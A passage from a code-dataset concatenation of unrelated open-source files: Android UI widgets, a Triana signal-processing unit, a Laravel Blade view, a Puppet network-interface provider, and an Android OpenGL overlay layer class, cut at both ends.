+ fechaModificacion + ", usuarioCaptura=" + usuarioCaptura + ", fecha=" + fecha + ", categoria=" + categoria + ", valor=" + valor + ", observaciones=" + observaciones + ", docdef=" + docdef + ", caracteristica=" + caracteristica + ", fechaUtil=" + fechaUtil + ", dato=" + dato + ", cabeceraDoc=" + cabeceraDoc + ", etiqueta=" + etiqueta + '}'; } }
fedevelatec/asic-core
src/main/java/com/fedevela/core/asic/pojos/ChecklistCap.java
Java
apache-2.0
8,852
/* * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.shenrh.layout.widget; import java.text.SimpleDateFormat; import java.util.Date; import android.content.res.Resources; import android.util.AttributeSet; import android.view.View.MeasureSpec; import android.view.ViewGroup.LayoutParams; import com.shenrh.canvas.ImageUIElement; import com.shenrh.canvas.TextUIElement; import com.shenrh.canvas.UIContext; import com.shenrh.canvas.UIElement; import com.shenrh.canvas.UIElementGroup; import com.shenrh.layout.R; public class CustomElement extends UIElementGroup { private ImageUIElement mProfileImage; private TextUIElement mAuthorText; private TextUIElement mMessageText; private ImageUIElement mPostImage; public CustomElement(UIContext host) { this(host, null); } public CustomElement(UIContext host, AttributeSet attrs) { super(host, attrs); final Resources res = getResources(); int padding = res.getDimensionPixelOffset(R.dimen.tweet_padding); setPadding(padding, padding, padding, padding); mAuthorText = new TextUIElement(host); mAuthorText.setTextColor(getResources().getColor(R.color.tweet_author_text_color)); mAuthorText.setTextSize(getResources().getDimensionPixelOffset(R.dimen.tweet_author_text_size)); mMessageText = new TextUIElement(host); mMessageText.setTextColor(getResources().getColor(R.color.tweet_message_text_color)); mMessageText.setTextSize(getResources().getDimensionPixelOffset(R.dimen.tweet_message_text_size)); mProfileImage = new ImageUIElement(host); mProfileImage.setLayoutParams(new LayoutParams(getResources().getDimensionPixelOffset(R.dimen.tweet_profile_image_size), getResources().getDimensionPixelOffset(R.dimen.tweet_profile_image_size))); mPostImage = new ImageUIElement(host); mPostImage.setLayoutParams(new LayoutParams(100, 100)); mPostImage.setBackgroundColor(0x3000ff00); addElement(mAuthorText); addElement(mMessageText);//, new MarginLayoutParams(LayoutParams.FILL_PARENT, LayoutParams.WRAP_CONTENT) addElement(mProfileImage); addElement(mPostImage); setOnClickListener(new OnClickListener() { @Override public void onClick(UIElement uiElement) { System.out.println("CustomElement group is click."); chageTime(); } }); mPostImage.setOnClickListener(new OnClickListener() { @Override public void onClick(UIElement uiElement) { System.out.println("CustomElement mPostImage is click."); } }); } @Override public boolean setContext(UIContext host) { return super.setContext(host); } @Override public void onMeasure(int widthMeasureSpec, int heightMeasureSpec) { final int widthSize = MeasureSpec.getSize(widthMeasureSpec); int widthUsed = 0; int heightUsed = 0; measureElementWithMargins(mProfileImage, widthMeasureSpec, widthUsed, heightMeasureSpec, heightUsed); widthUsed += getMeasuredWidthWithMargins(mProfileImage); measureElementWithMargins(mAuthorText, widthMeasureSpec, widthUsed, heightMeasureSpec, heightUsed); heightUsed += getMeasuredHeightWithMargins(mAuthorText); measureElementWithMargins(mMessageText, widthMeasureSpec, widthUsed, heightMeasureSpec, heightUsed); heightUsed += getMeasuredHeightWithMargins(mMessageText); measureElementWithMargins(mPostImage, widthMeasureSpec, widthUsed, heightMeasureSpec, heightUsed); heightUsed += getMeasuredHeightWithMargins(mPostImage); int heightSize = heightUsed + getPaddingTop() + getPaddingBottom(); setMeasuredDimension(widthSize, heightSize); // System.out.println("onMeasure " + widthSize + "X" + heightSize); } @Override public void onLayout(int l, int t, int r, int b) { final int paddingLeft = getPaddingLeft(); final int paddingTop = getPaddingTop(); int currentTop = paddingTop; layoutElement(mProfileImage, paddingLeft, currentTop, mProfileImage.getMeasuredWidth(), mProfileImage.getMeasuredHeight()); final int contentLeft = getWidthWithMargins(mProfileImage) + paddingLeft; final int contentWidth = r - l - contentLeft - getPaddingRight(); layoutElement(mAuthorText, contentLeft, currentTop, contentWidth, mAuthorText.getMeasuredHeight()); currentTop += getHeightWithMargins(mAuthorText); layoutElement(mMessageText, contentLeft, currentTop, contentWidth, mMessageText.getMeasuredHeight()); currentTop += getHeightWithMargins(mMessageText); layoutElement(mPostImage, paddingLeft, currentTop, mPostImage.getMeasuredWidth(), mPostImage.getMeasuredHeight()); currentTop += getHeightWithMargins(mPostImage); //System.out.println("onLayout " + mProfileImage.getMeasuredWidth() + "X" + mProfileImage.getMeasuredHeight()); } public void setData() { mAuthorText.setText("Hello"); chageTime(); mProfileImage.setImageResource(R.drawable.ic_launcher); mPostImage.setImageResource(R.drawable.tweet_reply); } public void chageTime() { long time = System.currentTimeMillis(); SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); Date d1 = new Date(time); mMessageText.setText("time:" + format.format(d1)); } }
shenrh/UILayout
app/src/main/java/com/shenrh/layout/widget/CustomElement.java
Java
apache-2.0
6,083
package math.functions; import java.awt.Window; import java.awt.event.ActionEvent; import org.trianacode.gui.windows.ScrollerWindow; import org.trianacode.taskgraph.Unit; import triana.types.EmptyingType; import triana.types.Histogram; import triana.types.SampleSet; import triana.types.Spectrum; import triana.types.VectorType; import triana.types.util.Str; /** * A ATanCont unit to find the angle of a vector (or complex number) from two input sequences that represent the x and y * components of the vector, attempting to resolve ambiguities about the multiple of 2 Pi in the angle by maintaining * continuity. * * @author B.F. Schutz * @version 1.0 alpha 04 Oct 1997 */ public class ATanCont extends Unit { /** * The UnitWindow for ATanCont */ ScrollerWindow myWindow; /** * Initial angle parameter */ double phase = 0.0; /** * A useful constant */ double TwoPi = 2.0 * Math.PI; /** * This returns a <b>brief!</b> description of what the unit does. The text here is shown in a pop up window when * the user puts the mouse over the unit icon for more than a second. */ public String getPopUpDescription() { return "Finds the angle of a vector (or complex number) from two input sequences"; } /** * ********************************************* ** USER CODE of ATanCont goes here *** * ********************************************* */ public void process() { Object input, input2; double[] inputdataX = {0.0}; double[] inputdataY = {0.0}; input = getInputAtNode(0); if (input instanceof EmptyingType) { return; } Class inputClass = input.getClass(); //setOutputType(inputClass); input2 = getInputAtNode(1); if (input instanceof VectorType) { inputdataX = ((VectorType) input).getData(); inputdataY = ((VectorType) input2).getData(); } else if (input instanceof SampleSet) { inputdataX = ((SampleSet) input).data; inputdataY = ((SampleSet) input2).data; } else if (input instanceof Spectrum) { inputdataX = ((Spectrum) input).data; inputdataY = ((Spectrum) input2).data; } else if (input instanceof Histogram) { inputdataX = ((Histogram) input).data; inputdataY = ((Histogram) input2).data; } int sizeOfData = inputdataX.length; double[] outputdata = inputdataX; // IT, for effieciency new double[sizeOfData]; double lastAngle = Math.atan2(inputdataX[0], inputdataY[0]); double thisAngle, diffAngle; double jump = phase; for (int i = 1; i < sizeOfData; i++) { thisAngle = Math.atan2(inputdataX[i], inputdataY[i]); diffAngle = thisAngle - lastAngle; if (diffAngle > Math.PI) { jump = jump - TwoPi; } else if (diffAngle < -Math.PI) { jump = jump + TwoPi; } outputdata[i] = thisAngle + jump; lastAngle = thisAngle; } if (input instanceof VectorType) { VectorType output = new VectorType(outputdata); output(output); } else if (input instanceof SampleSet) { SampleSet output = new SampleSet( ((SampleSet) input).samplingFrequency(), outputdata); output(output); } else if (input instanceof Spectrum) { Spectrum output = new Spectrum( ((Spectrum) input).samplingFrequency(), outputdata); output(output); } else if (input instanceof Histogram) { Histogram output = new Histogram( ((Histogram) input).binLabel, ((Histogram) input).hLabel, ((Histogram) input).delimiters, outputdata); output(output); } } /** * Initialses information specific to ATanCont. */ public void init() { super.init(); // changeInputNodes(2); // setResizableInputs(false); // setResizableOutputs(true); // // This is to ensure that we receive arrays containing double-precision numbers // setRequireDoubleInputs(true); // setCanProcessDoubleArrays(true); setDefaultInputNodes(1); setMinimumInputNodes(1); setMaximumInputNodes(Integer.MAX_VALUE); setDefaultOutputNodes(1); setMinimumOutputNodes(1); setMaximumOutputNodes(Integer.MAX_VALUE); myWindow = new ScrollerWindow(this, "Initial angle in radians added to output"); myWindow.setValues(0.0, 2.0 * Math.PI, phase); } /** * Reset's ATanCont */ public void reset() { super.reset(); } /** * Saves ATanCont's parameters to the parameter file. */ // public void saveParameters() { // saveParameter("phase", phase); // } /** * Loads ATanCont's parameters of from the parameter file. */ public void setParameter(String name, String value) { phase = Str.strToDouble(value); } public String[] getInputTypes() { return new String[]{"triana.types.VectorType", "triana.types.SampleSet", "triana.types.Spectrum", "triana.types.Histogram"}; } public String[] getOutputTypes() { return new String[]{"triana.types.VectorType", "triana.types.SampleSet", "triana.types.Spectrum", "triana.types.Histogram"}; } /** * * @returns the location of the help file for this unit. */ public String getHelpFile() { return "ATanCont.html"; } /** * @return ATanCont's parameter window sp that Triana can move and display it. */ public Window getParameterWindow() { return myWindow; } /** * Captures the events thrown out by ATanCont. */ // public void actionPerformed(ActionEvent e) { // super.actionPerformed(e); // we need this // // //if (e.getSource() == myWindow.slider) { // // phase = myWindow.getValue(); // // } // } }
CSCSI/Triana
triana-toolboxes/math/src/main/java/math/functions/ATanCont.java
Java
apache-2.0
6,235
package com.xujun.funapp.widget.divider; import android.content.Context; import android.content.res.TypedArray; import android.graphics.Canvas; import android.graphics.Rect; import android.graphics.drawable.Drawable; import android.support.v7.widget.GridLayoutManager; import android.support.v7.widget.RecyclerView; import android.support.v7.widget.RecyclerView.LayoutManager; import android.support.v7.widget.StaggeredGridLayoutManager; import android.view.View; /** * @ explain:针对GridLayoutManger的分割线 * @ author:xujun on 2016-7-13 14:30 * @ email:gdutxiaoxu@163.com */ public class DividerGridItemDecoration extends RecyclerView.ItemDecoration { private static final int[] ATTRS = new int[]{android.R.attr.listDivider}; private Drawable mDivider; public DividerGridItemDecoration(Context context) { final TypedArray a = context.obtainStyledAttributes(ATTRS); mDivider = a.getDrawable(0); a.recycle(); } @Override public void onDraw(Canvas c, RecyclerView parent, RecyclerView.State state) { drawHorizontal(c, parent); drawVertical(c, parent); } private int getSpanCount(RecyclerView parent) { // 列数 int spanCount = -1; LayoutManager layoutManager = parent.getLayoutManager(); if (layoutManager instanceof GridLayoutManager) { spanCount = ((GridLayoutManager) layoutManager).getSpanCount(); } else if (layoutManager instanceof StaggeredGridLayoutManager) { spanCount = ((StaggeredGridLayoutManager) layoutManager) .getSpanCount(); } return spanCount; } public void drawHorizontal(Canvas c, RecyclerView parent) { int childCount = parent.getChildCount(); for (int i = 0; i < childCount; i++) { final View child = parent.getChildAt(i); final RecyclerView.LayoutParams params = (RecyclerView.LayoutParams) child .getLayoutParams(); final int left = child.getLeft() - params.leftMargin; final int right = child.getRight() + params.rightMargin + mDivider.getIntrinsicWidth(); final int top = child.getBottom() + params.bottomMargin; final int bottom = top + mDivider.getIntrinsicHeight(); mDivider.setBounds(left, top, right, bottom); mDivider.draw(c); } } public void drawVertical(Canvas c, RecyclerView parent) { final int childCount = parent.getChildCount(); for (int i = 0; i < childCount; i++) { final View child = parent.getChildAt(i); final RecyclerView.LayoutParams params = (RecyclerView.LayoutParams) child .getLayoutParams(); final int top = child.getTop() - params.topMargin; final int bottom = child.getBottom() + params.bottomMargin; final int left = child.getRight() + params.rightMargin; final int right = left + mDivider.getIntrinsicWidth(); mDivider.setBounds(left, top, right, bottom); mDivider.draw(c); } } private boolean isLastColum(RecyclerView parent, int pos, int spanCount, int childCount) { LayoutManager layoutManager = parent.getLayoutManager(); if (layoutManager instanceof GridLayoutManager) { if ((pos + 1) % spanCount == 0) // 如果是最后一列,则不需要绘制右边 { return true; } } else if (layoutManager instanceof StaggeredGridLayoutManager) { int orientation = ((StaggeredGridLayoutManager) layoutManager) .getOrientation(); if (orientation == StaggeredGridLayoutManager.VERTICAL) { if ((pos + 1) % spanCount == 0)// 如果是最后一列,则不需要绘制右边 { return true; } } else { childCount = childCount - childCount % spanCount; if (pos >= childCount)// 如果是最后一列,则不需要绘制右边 return true; } } return false; } private boolean isLastRaw(RecyclerView parent, int pos, int spanCount, int childCount) { LayoutManager layoutManager = parent.getLayoutManager(); if (layoutManager instanceof GridLayoutManager) { childCount = childCount - childCount % spanCount; if (pos >= childCount)// 如果是最后一行,则不需要绘制底部 return true; } else if (layoutManager instanceof StaggeredGridLayoutManager) { int orientation = ((StaggeredGridLayoutManager) layoutManager) .getOrientation(); // StaggeredGridLayoutManager 且纵向滚动 if (orientation == StaggeredGridLayoutManager.VERTICAL) { childCount = childCount - childCount % spanCount; // 如果是最后一行,则不需要绘制底部 if (pos >= childCount) return true; // StaggeredGridLayoutManager 且横向滚动 } else { // 如果是最后一行,则不需要绘制底部 if ((pos + 1) % spanCount == 0) { return true; } } } return false; } @Override public void getItemOffsets(Rect outRect, int itemPosition, RecyclerView parent) { int spanCount = getSpanCount(parent); int childCount = parent.getAdapter().getItemCount(); // 如果是最后一行,则不需要绘制底部 if (isLastRaw(parent, itemPosition, spanCount, childCount)) { outRect.set(0, 0, mDivider.getIntrinsicWidth(), 0); // 如果是最后一列,则不需要绘制右边 } else if (isLastColum(parent, itemPosition, spanCount, childCount)) { outRect.set(0, 0, 0, mDivider.getIntrinsicHeight()); } else { outRect.set(0, 0, mDivider.getIntrinsicWidth(), mDivider.getIntrinsicHeight()); } } }
gdutxiaoxu/FunAPP
Fun/src/main/java/com/xujun/funapp/widget/divider/DividerGridItemDecoration.java
Java
apache-2.0
6,294
@extends('layout') @section('css') @endsection @section('content') <ol class="breadcrumb"> <li><a href="/">首页</a></li> <li class="active">密码管理</li> </ol> <div class="row"> <div class="col-sm-12"> <div class="list-group"> @foreach($list AS $k => $v) <a href="/password/{{ $v['id'] }}" class="list-group-item"> <span class="badge">{{ $v['badge'] }}</span> {{ $v['name'] }} </a> @endforeach @if(sizeof($list) < 1) <a class="list-group-item"> <span class="badge">0</span> 无数据 </a> @endif </div> </div> </div> <div class="row"> <div class="col-xs-12"> <a href="/password/create" class="btn btn-primary btn-block">新建类别</a> </div> </div> @endsection @section('js') @endsection
calchen/PIM
resources/views/password/index.blade.php
PHP
apache-2.0
1,047
require File.join(File.dirname(__FILE__), '..','..','..','puppet/provider/l3_base') Puppet::Type.type(:l3_ifconfig).provide(:lnx, :parent => Puppet::Provider::L3_base) do defaultfor :kernel => :linux commands :ifup => 'ifup', :ifdown => 'ifdown', :arping => 'arping' def self.instances insts = [] rou_list = self.get_if_defroutes_mappings() # parse all system interfaces self.get_if_addr_mappings().each_pair do |if_name, pro| props = { :ensure => :present, :name => if_name, :ipaddr => pro[:ipaddr], } if !rou_list[if_name].nil? props.merge! rou_list[if_name] else props.merge!({ :gateway => :absent, :gateway_metric => :absent }) end debug("PREFETCHED properties for '#{if_name}': #{props}") insts << new(props) end return insts end def exists? @property_hash[:ensure] == :present end def create debug("CREATE resource: #{@resource}") # with hash: '#{m}'") @old_property_hash = {} @property_flush = {}.merge! @resource #p @property_flush #p @property_hash #p @resource.inspect end def destroy debug("DESTROY resource: #{@resource}") # todo: Destroing of L3 resource -- is a removing any IP addresses. # DO NOT!!! put intedafce to Down state. self.class.addr_flush(@resource[:interface], true) @property_hash.clear end attr_accessor(:property_flush) attr_accessor(:property_hash) attr_accessor(:old_property_hash) def initialize(value={}) #debug("INITIALIZE resource: #{value}") super(value) @property_flush = {} @old_property_hash = {} @old_property_hash.merge! @property_hash end def flush if ! @property_flush.empty? debug("FLUSH properties: #{@property_flush}") # FLUSH changed properties is_dhcp = (Array(@property_flush[:ipaddr]) & [:dhcp, 'dhcp', 'DHCP']).any? if ! @property_flush[:ipaddr].nil? if @property_flush[:ipaddr].include?(:absent) # flush all ip addresses from interface self.class.addr_flush(@resource[:interface], true) #todo(sv): check for existing dhclient for this interface and kill it elsif is_dhcp # start dhclient on interface the same way as at boot time ifdown(@resource[:interface]) sleep(5) ifup(@resource[:interface]) else # add-remove static IP addresses changing_prefixes = {} if !@old_property_hash.nil? and !@old_property_hash[:ipaddr].nil? adding_addresses = @property_flush[:ipaddr] - @old_property_hash[:ipaddr] old_addresses = @old_property_hash[:ipaddr] - @property_flush[:ipaddr] # Check whether IP address is changed completely or just prefix is changed @property_flush[:ipaddr].each do |nadr| new_addr, new_pref = nadr.split('/') @old_property_hash[:ipaddr].each do |oadr| old_addr, old_pref = oadr.split('/') if (new_addr == old_addr and new_pref != old_pref) changing_prefixes[old_addr] = old_pref old_addresses.delete(oadr) end end end # Remove old IP addresses if exist unless old_addresses.empty? debug("Removing old IP addresses #{old_addresses}") old_addresses.each do |old_ipaddr| debug(['--force', 'addr', 'del', old_ipaddr, 'dev', @resource[:interface]]) self.class.iproute(['--force', 'addr', 'del', old_ipaddr, 'dev', @resource[:interface]]) end end else adding_addresses = @property_flush[:ipaddr] end if adding_addresses.include? :none self.class.interface_up(@resource[:interface], true) elsif adding_addresses.include? :dhcp debug("!!! DHCP runtime configuration not implemented now !!!") else # add new IP addresses or just change prefix adding_addresses.each do |ipaddr| # Check whether IP address or just prefix is being changed set_ipaddr, set_prefix = ipaddr.split('/') old_prefix = changing_prefixes[set_ipaddr] if old_prefix # Just prefix is being changed debug("Just prefix for #{set_ipaddr} is being changed from #{old_prefix} to #{set_prefix}!") # Set IP address with new prefix begin self.class.iproute(['addr', 'add', ipaddr, 'dev', @resource[:interface]]) rescue rv = self.class.iproute(['-o', 'addr', 'show', 'dev', @resource[:interface], 'to', "#{set_ipaddr}/32"]) raise unless rv.join("\n").include? "inet #{ipaddr}" end # Remove IP address with old prefix debug(['--force', 'addr', 'del', "#{set_ipaddr}/#{old_prefix}", 'dev', @resource[:interface]]) self.class.iproute(['--force', 'addr', 'del', "#{set_ipaddr}/#{old_prefix}", 'dev', @resource[:interface]]) else # IP address is being changed completely debug("Seting new IP address #{ipaddr}!") # Check whether IP address is already used begin arping(['-D', '-f', '-c 32', '-w 2', '-I', @resource[:interface], set_ipaddr]) rescue Exception => e _errmsg = nil e.message.split(/\n/).each do |line| line =~ /reply\s+from\s+(\d+\.\d+\.\d+\.\d+)/i if $1 _errmsg = line break end end raise if _errmsg.nil? warn("There is IP duplication for IP address #{ipaddr} on interface #{@resource[:interface]}!!!\n#{_errmsg}") end # Set IP address begin self.class.iproute(['addr', 'add', ipaddr, 'dev', @resource[:interface]]) rescue rv = self.class.iproute(['-o', 'addr', 'show', 'dev', @resource[:interface], 'to', "#{set_ipaddr}/32"]) raise unless rv.join("\n").include? "inet #{ipaddr}" end # Send Gratuitous ARP to update all neighbours arping(['-A', '-c 32', '-w 2', '-I', @resource[:interface], set_ipaddr]) end end end end end if !is_dhcp and (!@property_flush[:gateway].nil? or !@property_flush[:gateway_metric].nil?) # clean all default gateways for *THIS* interface (with any metrics) cmdline = ['route', 'del', 'default', 'dev', @resource[:interface]] while true # we should remove route repeatedly for prevent situation # when has multiple default routes through the same router, # but with different metrics begin self.class.iproute(cmdline) rescue break end end # add new default route if @resource[:gateway] != :absent # WARNING!!! # We shouldn't use 'ip route replace .....' here # because *replace* can change gateway in context of another interface. # Changing (or removing) gateway for another interface leads to some heavy-diagnostic cases. # For manipulate gateways without interface context -- should be used l3_route resource. cmdline = ['route', 'add', 'default', 'via', @resource[:gateway], 'dev', @resource[:interface]] if ![nil, :absent].include?(@property_flush[:gateway_metric]) and @property_flush[:gateway_metric].to_i > 0 cmdline << ['metric', @property_flush[:gateway_metric]] end begin self.class.iproute(cmdline) rescue warn("!!! Iproute can not setup new gateway.\n!!! May be default gateway with same metric already exists:") rv = self.class.iproute(['-f', 'inet', 'route', 'show']) warn("#{rv.join("\n")}\n\n") end end end @property_hash = resource.to_hash end end #----------------------------------------------------------------- # def bridge # @property_hash[:bridge] || :absent # end # def bridge=(val) # @property_flush[:bridge] = val # end # def name # @property_hash[:name] # end def port_type @property_hash[:port_type] || :absent end def port_type=(val) @property_flush[:port_type] = val end def onboot @property_hash[:onboot] || :absent end def onboot=(val) @property_flush[:onboot] = val end def ipaddr @property_hash[:ipaddr] || :absent end def ipaddr=(val) if (@old_property_hash[:ipaddr] - val) != (val - @old_property_hash[:ipaddr]) @property_flush[:ipaddr] = val end end def gateway @property_hash[:gateway] || :absent end def gateway=(val) @property_flush[:gateway] = val end def gateway_metric @property_hash[:gateway_metric] || :absent end def gateway_metric=(val) @property_flush[:gateway_metric] = val end def dhcp_hostname @property_hash[:dhcp_hostname] || :absent end def dhcp_hostname=(val) @property_flush[:dhcp_hostname] = val end def vendor_specific @property_hash[:vendor_specific] || :absent end def vendor_specific=(val) nil end #----------------------------------------------------------------- end # vim: set ts=2 sw=2 et :
xarses/fuel-library
deployment/puppet/l23network/lib/puppet/provider/l3_ifconfig/lnx.rb
Ruby
apache-2.0
9,748
package ru.ematveev.generic; /** * @author Matveev Evgeny. */ public class User extends Base { /** * Constructor the class. * * @param id unic id for every the Base element. */ public User(String id) { super(id); } }
evgenymatveev/Task
chapter_005/src/main/java/ru/ematveev/generic/User.java
Java
apache-2.0
262
package fr.javatronic.blog.massive.annotation1.sub1; import fr.javatronic.blog.processor.Annotation_001; @Annotation_001 public class Class_0283 { }
lesaint/experimenting-annotation-processing
experimenting-rounds/massive-count-of-annotated-classes/src/main/java/fr/javatronic/blog/massive/annotation1/sub1/Class_0283.java
Java
apache-2.0
151
/* * Copyright (C) 2010 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /****************************************************************************** ** Edit History * **---------------------------------------------------------------------------* ** DATE Module DESCRIPTION * ** 16/08/2013 Hardware Composer Add a new feature to Harware composer, * ** verlayComposer use GPU to do the * ** Hardware layer blending on Overlay * ** buffer, and then post the OVerlay * ** buffer to Display * ****************************************************************************** ** Author: zhongjun.chen@spreadtrum.com * *****************************************************************************/ #include "Layer.h" #include "GLErro.h" #include "OverlayComposer.h" namespace android { //#define _DEBUG #ifdef _DEBUG #define GL_CHECK(x) \ x; \ { \ GLenum err = glGetError(); \ if(err != GL_NO_ERROR) { \ ALOGE("glGetError() = %i (0x%.8x) at line %i\n", err, err, __LINE__); \ } \ } #else #define GL_CHECK(x) x #endif static GLfloat vertices[] = { 0.0f, 0.0f, 0.0f, 0.0f, 0.0f, 0.0f, 0.0f, 0.0f }; static GLfloat texcoords[] = { 0.0f, 0.0f, 1.0f, 0.0f, 1.0f, 1.0f, 0.0f, 1.0f }; static float mtxFlipH[16] = { -1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 0, 1, }; static float mtxFlipV[16] = { 1, 0, 0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 1, }; static float mtxRot90[16] = { 0, 1, 0, 0, -1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 1, }; static float mtxRot180[16] = { -1, 0, 0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, 1, 0, 1, }; static float mtxRot270[16] = { 0, -1, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 1, }; static float mtxIdentity[16] = { 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, }; struct TexCoords { GLfloat u; GLfloat v; }; GLfloat mVertices[4][2]; struct TexCoords texCoord[4]; Layer::Layer(OverlayComposer* composer, struct private_handle_t *h) : mComposer(composer), mPrivH(h), mImage(EGL_NO_IMAGE_KHR), mTexTarget(GL_TEXTURE_EXTERNAL_OES), mTexName(-1U), mTransform(0), mAlpha(0.0), mSkipFlag(false) { bool ret = init(); if (!ret) { ALOGE("Layer Init failed"); return; } } bool Layer::init() { if (!wrapGraphicBuffer()) { ALOGE("wrap GraphicBuffer failed"); return false; } if (!createTextureImage()) { ALOGE("createEGLImage failed"); return false; } /* Initialize Premultiplied Alpha */ mPremultipliedAlpha = true; mNumVertices = 4; mFilteringEnabled = true; return true; } Layer::~Layer() { unWrapGraphicBuffer(); destroyTextureImage(); } bool Layer::wrapGraphicBuffer() { uint32_t size; uint32_t stride; getSizeStride(mPrivH->width, mPrivH->height, mPrivH->format, size, stride); mGFXBuffer = new GraphicBuffer(mPrivH->width, mPrivH->height, mPrivH->format, GraphicBuffer::USAGE_HW_TEXTURE, stride, (native_handle_t*)mPrivH, false); if (mGFXBuffer->initCheck() != NO_ERROR) { ALOGE("buf_src create fail"); return false; } return true; } void Layer::unWrapGraphicBuffer() { return; } bool Layer::createTextureImage() { GLint error; static EGLint attribs[] = { EGL_IMAGE_PRESERVED_KHR, EGL_TRUE, EGL_NONE }; EGLDisplay mDisplay = eglGetCurrentDisplay(); mImage = eglCreateImageKHR(mDisplay, EGL_NO_CONTEXT, EGL_NATIVE_BUFFER_ANDROID, (EGLClientBuffer)mGFXBuffer->getNativeBuffer(), attribs); checkEGLErrors("eglCreateImageKHR"); if (mImage == EGL_NO_IMAGE_KHR) { ALOGE("Create EGL Image failed, error = %x", eglGetError()); return false; } glGenTextures(1, &mTexName); checkGLErrors(); glBindTexture(mTexTarget, mTexName); checkGLErrors(); glEGLImageTargetTexture2DOES(mTexTarget, (GLeglImageOES)mImage); checkGLErrors(); while ((error = glGetError()) != GL_NO_ERROR) { ALOGE("createTextureImage error binding external texture image %p, (slot %p): %#04x", mImage, mGFXBuffer.get(), error); return false; } return true; } void Layer::destroyTextureImage() { EGLDisplay mDisplay = eglGetCurrentDisplay(); eglDestroyImageKHR(mDisplay, mImage); checkEGLErrors("eglDestroyImageKHR"); glDeleteTextures(1, &mTexName); } void Layer::setLayerAlpha(float alpha) { mAlpha = alpha; } bool Layer::setLayerTransform(uint32_t transform) { mTransform = transform; return true; } bool Layer::setLayerRect(struct LayerRect *rect, struct LayerRect *rV) { if (rect == NULL && rV == NULL) { ALOGE("The rectangle is NULL"); return false; } mRect = rect; mRV = rV; return true; } void Layer::mtxMul(float out[16], const float a[16], const float b[16]) { out[0] = a[0]*b[0] + a[4]*b[1] + a[8]*b[2] + a[12]*b[3]; out[1] = a[1]*b[0] + a[5]*b[1] + a[9]*b[2] + a[13]*b[3]; out[2] = a[2]*b[0] + a[6]*b[1] + a[10]*b[2] + a[14]*b[3]; out[3] = a[3]*b[0] + a[7]*b[1] + a[11]*b[2] + a[15]*b[3]; out[4] = a[0]*b[4] + a[4]*b[5] + a[8]*b[6] + a[12]*b[7]; out[5] = a[1]*b[4] + a[5]*b[5] + a[9]*b[6] + a[13]*b[7]; out[6] = a[2]*b[4] + a[6]*b[5] + a[10]*b[6] + a[14]*b[7]; out[7] = a[3]*b[4] + a[7]*b[5] + a[11]*b[6] + a[15]*b[7]; out[8] = a[0]*b[8] + a[4]*b[9] + a[8]*b[10] + a[12]*b[11]; out[9] = a[1]*b[8] + a[5]*b[9] + a[9]*b[10] + a[13]*b[11]; out[10] = a[2]*b[8] + a[6]*b[9] + a[10]*b[10] + a[14]*b[11]; out[11] = a[3]*b[8] + a[7]*b[9] + a[11]*b[10] + a[15]*b[11]; out[12] = a[0]*b[12] + a[4]*b[13] + a[8]*b[14] + a[12]*b[15]; out[13] = a[1]*b[12] + a[5]*b[13] + a[9]*b[14] + a[13]*b[15]; out[14] = a[2]*b[12] + a[6]*b[13] + a[10]*b[14] + a[14]*b[15]; out[15] = a[3]*b[12] + a[7]*b[13] + a[11]*b[14] + a[15]*b[15]; } void Layer::computeTransformMatrix() { float xform[16]; bool mFilteringEnabled = true; float tx = 0.0f, ty = 0.0f, sx = 1.0f, sy = 1.0f; sp<GraphicBuffer>& buf(mGFXBuffer); float bufferWidth = buf->getWidth(); float bufferHeight = buf->getHeight(); memcpy(xform, mtxIdentity, sizeof(xform)); if (mTransform & NATIVE_WINDOW_TRANSFORM_FLIP_H) { float result[16]; mtxMul(result, xform, mtxFlipH); memcpy(xform, result, sizeof(xform)); } if (mTransform & NATIVE_WINDOW_TRANSFORM_FLIP_V) { float result[16]; mtxMul(result, xform, mtxFlipV); memcpy(xform, result, sizeof(xform)); } if (mTransform & NATIVE_WINDOW_TRANSFORM_ROT_90) { float result[16]; mtxMul(result, xform, mtxRot90); memcpy(xform, result, sizeof(xform)); } if (mRect) { float shrinkAmount = 0.0f; if (mFilteringEnabled) { /* In order to prevent bilinear sampling beyond the edge of the * crop rectangle we may need to shrink it by 2 texels in each * dimension. Normally this would just need to take 1/2 a texel * off each end, but because the chroma channels of YUV420 images * are subsampled we may need to shrink the crop region by a whole * texel on each side. * */ switch (buf->getPixelFormat()) { case PIXEL_FORMAT_RGBA_8888: case PIXEL_FORMAT_RGBX_8888: case PIXEL_FORMAT_RGB_888: case PIXEL_FORMAT_RGB_565: case PIXEL_FORMAT_BGRA_8888: case PIXEL_FORMAT_RGBA_5551: case PIXEL_FORMAT_RGBA_4444: // We know there's no subsampling of any channels, so we // only need to shrink by a half a pixel. shrinkAmount = 0.5; default: // If we don't recognize the format, we must assume the // worst case (that we care about), which is YUV420. shrinkAmount = 1.0; } } // Only shrink the dimensions that are not the size of the buffer. int width = mRect->right - mRect->left; int height = mRect->bottom - mRect->top; if ( width < bufferWidth) { tx = ((float)(mRect->left) + shrinkAmount) / bufferWidth; sx = ((float)(width) - (2.0f * shrinkAmount)) / bufferWidth; } if (height < bufferHeight) { ty = ((float)(bufferHeight - mRect->bottom) + shrinkAmount) / bufferHeight; sy = ((float)(height) - (2.0f * shrinkAmount)) / bufferHeight; } } float crop[16] = { sx, 0, 0, 0, 0, sy, 0, 0, 0, 0, 1, 0, tx, ty, 0, 1, }; float 